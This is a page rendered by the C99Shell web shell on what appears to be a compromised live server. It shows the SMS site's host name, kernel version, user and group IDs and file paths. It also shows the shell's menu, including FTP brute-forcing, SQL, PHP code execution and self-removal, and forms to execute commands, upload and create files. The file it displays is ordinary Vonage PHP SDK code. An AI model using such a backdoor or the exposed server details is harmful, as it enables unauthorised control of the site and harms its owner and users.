!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/vonage/client-core/src/Message/   drwxr-xr-x
Free 28.82 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Shortcode.php (2.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Vonage Client Library for PHP
 *
 * @copyright Copyright (c) 2016-2020 Vonage, Inc. (http://vonage.com)
 * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
 */

declare(strict_types=1);

namespace 
Vonage\Message;

use 
Vonage\Client\Exception\Exception as ClientException;
use 
Vonage\Message\Shortcode\Alert;
use 
Vonage\Message\Shortcode\Marketing;
use 
Vonage\Message\Shortcode\TwoFactor;

use function 
strtolower;

abstract class 
Shortcode
{
    
/**
     * @var string
     */
    
protected $to;

    
/**
     * @var array
     */
    
protected $custom;

    
/**
     * @var array
     */
    
protected $options;

    public function 
__construct(string $to, array $custom = [], array $options = [])
    {
        
$this->to $to;
        
$this->custom $custom;
        
$this->options $options;
    }

    public function 
setCustom(array $custom): void
    
{
        
$this->custom $custom;
    }

    public function 
setOptions(array $options): void
    
{
        
$this->options $options;
    }

    public function 
getType(): string
    
{
        return 
$this->type;
    }

    public function 
getRequestData(): array
    {
        
// Options, then custom, then to. This is the priority
        // we want so that people can't overwrite to with a custom param
        
return $this->options $this->custom + ['to' => $this->to];
    }

    
/**
     * @throws ClientException
     *
     * @return Alert|Marketing|TwoFactor|null
     */
    
public static function createMessageFromArray(array $data)
    {
        if (!isset(
$data['type'])) {
            throw new 
ClientException('No type provided when creating a shortcode message');
        }

        if (!isset(
$data['to'])) {
            throw new 
ClientException('No to provided when creating a shortcode message');
        }

        
$data['type'] = strtolower($data['type']);

        if (
$data['type'] === '2fa') {
            
$m = new TwoFactor($data['to']);
        } elseif (
$data['type'] === 'marketing') {
            
$m = new Marketing($data['to']);
        } elseif (
$data['type'] === 'alert') {
            
$m = new Alert($data['to']);
        }

        if (isset(
$m)) {
            if (isset(
$data['custom'])) {
                
$m->setCustom($data['custom']);
            }

            if (isset(
$data['options'])) {
                
$m->setOptions($data['options']);
            }

            return 
$m;
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--